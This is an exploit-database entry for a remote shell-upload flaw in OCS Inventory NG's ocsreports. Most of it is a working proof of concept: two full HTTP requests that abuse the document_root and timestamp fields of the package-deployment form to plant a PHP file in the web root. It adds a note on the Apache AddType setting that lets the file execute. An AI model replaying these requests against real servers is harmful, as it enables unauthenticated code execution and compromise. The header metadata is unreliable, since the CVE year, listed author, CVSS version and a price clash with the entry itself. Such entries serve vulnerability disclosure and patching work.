Exploitalert - Database of Exploits

OCS Inventory NG ocsreports Shell Upload

CVE	Category	Price	Severity
CVE-2020-7642	CWE-434	$5,000	High

Author	Risk	Exploitation Type	Date
Yonatan Klijnsma	High	Remote	2018-11-14

CPE
cpe:cpe:/a:ocsinventory:ocs_inventory_ng

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.15	0.99

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018110105

OCS Inventory NG ocsreports Shell Upload

## Request 1 This request creates a temporary file containing PHP code in the /usr/share/ocsinventory-reports/ocsreports/a.php.a/ directory. POST /ocsreports/index.php?function=tele_package HTTP/1.1 Host: 192.168.5.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.5.135/ocsreports/index.php?function=tele_package Content-Type: multipart/form-data; boundary=---------------------------491299511942 Content-Length: 2836 Cookie: VERS=7015; LANG=en_GB; IPDISCOVER_inv_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%226%22%3Bi%3A5%3Bs%3A1%3A%227%22%3B%7D; show_all_plugins_col=a%3A8%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%221%22%3Bi%3A2%3Bs%3A1%3A%222%22%3Bi%3A3%3Bs%3A1%3A%223%22%3Bi%3A4%3Bs%3A1%3A%224%22%3Bi%3A5%3Bs%3A1%3A%225%22%3Bi%3A6%3Bs%3A1%3A%226%22%3Bi%3A7%3Bs%3A1%3A%228%22%3B%7D; PHPSESSID=uvq1vomo3oi2q9mfolj9bvr6m0 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------491299511942 Content-Disposition: form-data; name="CSRF_10" 8ab3df2f9a2078530027e74191af0b087429ad41 -----------------------------491299511942 Content-Disposition: form-data; name="document_root" /usr/share/ocsinventory-reports/ocsreports/ -----------------------------491299511942 Content-Disposition: form-data; name="timestamp" a.php.a -----------------------------491299511942 Content-Disposition: form-data; name="NAME" dshasdgasga -----------------------------491299511942 Content-Disposition: form-data; name="DESCRIPTION" asdgasdga -----------------------------491299511942 Content-Disposition: form-data; name="OS" WINDOWS -----------------------------491299511942 Content-Disposition: form-data; name="PROTOCOLE" HTTP -----------------------------491299511942 Content-Disposition: form-data; name="PRIORITY" 5 -----------------------------491299511942 Content-Disposition: form-data; name="teledeploy_file"; filename="exploit.zip" Content-Type: application/x-zip-compressed <?php phpinfo(); ?> -----------------------------491299511942 Content-Disposition: form-data; name="ACTION" EXECUTE -----------------------------491299511942 Content-Disposition: form-data; name="ACTION_INPUT" asdgasdgasdg -----------------------------491299511942 Content-Disposition: form-data; name="REDISTRIB_USE" 0 -----------------------------491299511942 Content-Disposition: form-data; name="DOWNLOAD_SERVER_DOCROOT" d:\tele_ocs -----------------------------491299511942 Content-Disposition: form-data; name="REDISTRIB_PRIORITY" 5 -----------------------------491299511942 Content-Disposition: form-data; name="NOTIFY_USER" 0 -----------------------------491299511942 Content-Disposition: form-data; name="NOTIFY_TEXT" -----------------------------491299511942 Content-Disposition: form-data; name="NOTIFY_COUNTDOWN" -----------------------------491299511942 Content-Disposition: form-data; name="NOTIFY_CAN_ABORT" 0 -----------------------------491299511942 Content-Disposition: form-data; name="NOTIFY_CAN_DELAY" 0 -----------------------------491299511942 Content-Disposition: form-data; name="NEED_DONE_ACTION" 0 -----------------------------491299511942 Content-Disposition: form-data; name="NEED_DONE_ACTION_TEXT" -----------------------------491299511942 Content-Disposition: form-data; name="valid" Send -----------------------------491299511942 Content-Disposition: form-data; name="digest_algo" MD5 -----------------------------491299511942 Content-Disposition: form-data; name="digest_encod" Hexa -----------------------------491299511942 Content-Disposition: form-data; name="download_rep_creat" /var/www/html/download/server/ -----------------------------491299511942-- ## Request 2 This request renames the file to a.php.a-1 and also creates info file. POST /ocsreports/index.php?function=tele_package HTTP/1.1 Host: 192.168.5.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.5.135/ocsreports/index.php?function=tele_package Content-Type: multipart/form-data; boundary=---------------------------4827543632391 Content-Length: 3345 Cookie: VERS=7015; LANG=en_GB; IPDISCOVER_inv_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%226%22%3Bi%3A5%3Bs%3A1%3A%227%22%3B%7D; show_all_plugins_col=a%3A8%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%221%22%3Bi%3A2%3Bs%3A1%3A%222%22%3Bi%3A3%3Bs%3A1%3A%223%22%3Bi%3A4%3Bs%3A1%3A%224%22%3Bi%3A5%3Bs%3A1%3A%225%22%3Bi%3A6%3Bs%3A1%3A%226%22%3Bi%3A7%3Bs%3A1%3A%228%22%3B%7D; PHPSESSID=uvq1vomo3oi2q9mfolj9bvr6m0 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------4827543632391 Content-Disposition: form-data; name="CSRF_13" 53b6eab749060aa8cbe972e9c9a31ae148cf886b -----------------------------4827543632391 Content-Disposition: form-data; name="tailleFrag" 0 -----------------------------4827543632391 Content-Disposition: form-data; name="nbfrags" 1 -----------------------------4827543632391 Content-Disposition: form-data; name="comment" asdgasdga -----------------------------4827543632391 Content-Disposition: form-data; name="digest" b14f8d3b56fb10f2257f53ab32947a50 -----------------------------4827543632391 Content-Disposition: form-data; name="VALID_END" END -----------------------------4827543632391 Content-Disposition: form-data; name="SIZE" 347 -----------------------------4827543632391 Content-Disposition: form-data; name="document_root" /usr/share/ocsinventory-reports/ocsreports/ -----------------------------4827543632391 Content-Disposition: form-data; name="timestamp" a.php.a -----------------------------4827543632391 Content-Disposition: form-data; name="NAME" dshasdgasga -----------------------------4827543632391 Content-Disposition: form-data; name="DESCRIPTION" -----------------------------4827543632391 Content-Disposition: form-data; name="OS" WINDOWS -----------------------------4827543632391 Content-Disposition: form-data; name="PROTOCOLE" HTTP -----------------------------4827543632391 Content-Disposition: form-data; name="PRIORITY" 5 -----------------------------4827543632391 Content-Disposition: form-data; name="teledeploy_file"; filename="" Content-Type: application/octet-stream -----------------------------4827543632391 Content-Disposition: form-data; name="ACTION" EXECUTE -----------------------------4827543632391 Content-Disposition: form-data; name="ACTION_INPUT" asdgasdgasdg -----------------------------4827543632391 Content-Disposition: form-data; name="REDISTRIB_USE" 0 -----------------------------4827543632391 Content-Disposition: form-data; name="DOWNLOAD_SERVER_DOCROOT" d:\tele_ocs -----------------------------4827543632391 Content-Disposition: form-data; name="REDISTRIB_PRIORITY" 5 -----------------------------4827543632391 Content-Disposition: form-data; name="NOTIFY_USER" 0 -----------------------------4827543632391 Content-Disposition: form-data; name="NOTIFY_TEXT" -----------------------------4827543632391 Content-Disposition: form-data; name="NOTIFY_COUNTDOWN" -----------------------------4827543632391 Content-Disposition: form-data; name="NOTIFY_CAN_ABORT" 0 -----------------------------4827543632391 Content-Disposition: form-data; name="NOTIFY_CAN_DELAY" 0 -----------------------------4827543632391 Content-Disposition: form-data; name="NEED_DONE_ACTION" 0 -----------------------------4827543632391 Content-Disposition: form-data; name="NEED_DONE_ACTION_TEXT" -----------------------------4827543632391 Content-Disposition: form-data; name="digest_algo" MD5 -----------------------------4827543632391 Content-Disposition: form-data; name="digest_encod" Hexa -----------------------------4827543632391 Content-Disposition: form-data; name="download_rep_creat" /var/www/html/download/server/ -----------------------------4827543632391-- # Apache Config The application has the following line in the /etc/apache2/conf-available/ocsinventory-reports.conf config file: AddType application/x-httpd-php .php Thus any file containing .php substring might be executed by an attacker. Thus the uploaded file is accessible via http://192.168.5.135/ocsreports/a.php.a/a.php.a-1 Reference: https://httpd.apache.org/docs/2.4/mod/mod_mime.html#multipleext Regards, Simon Uvarov

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